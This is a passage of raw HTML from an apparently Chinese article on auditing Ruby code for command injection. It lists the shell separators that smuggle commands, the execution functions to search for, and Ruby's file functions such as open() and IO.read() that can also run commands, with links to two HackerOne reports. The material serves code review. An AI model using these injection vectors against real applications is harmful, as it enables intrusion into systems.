normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">命令注入漏洞</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h4><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">命令注入漏洞一般是指把外部数据传入system()类的函数执行，导致命令注入漏洞。触发命令注入漏洞的链接符号有很多，再配合单双引号可以组合成更多不同的注入条件，例如（linux）:</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">``</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">$()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">;</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">|</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">&amp;</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">\n</span></section></li></ul><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">在审计代码的时候一般会直接搜索能够执行命令的函数，例如：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">popen()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">spawn()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">syscall()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">system()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">exec()</span></section></li><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Open3.*</span><span style="letter-spacing: 0.544px;"></span></section></li></ul><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">而对于Ruby，除了支持这些函数执行命令，还有一些独特执行命令的方式：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">%x//</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">``</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">open</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.read()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.write()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.binread()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.binwrite()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.foreach()</span></p></li><li><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;line-height: normal;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">IO.readlines()</span></p></li></ul><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">%x//和``属于类似system函数，可以把字符串解析为命令：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="136" data-backw="578" data-ratio="0.23583815028901733" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=2c3364a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5vuBeMRpJKKeJkcaIibbkGFlIjUuZQQQzpFTrUib2Y9cqVehRLJcl44Jw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">open()是Ruby用来操作文件的函数，但是他也支持执行命令，执行传入一个以中划线开头的字符，后面跟着要执行的命令即可：</span><br/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="150" data-backw="578" data-ratio="0.26011560693641617" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=2c9b1e99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5KYNaTgzNribctqOP210MccichjBShVTiaOFybiaGkEC8ngIK36824XOCKQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">除了open()函数，IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函数也可以以相同的方式执行命令。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">open()函数引发的Ruby安全问题：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/1161691" target="_blank">https://hackerone.com/reports/1161691</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/651518" target="_blank">https://hackerone.com/reports/651518</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 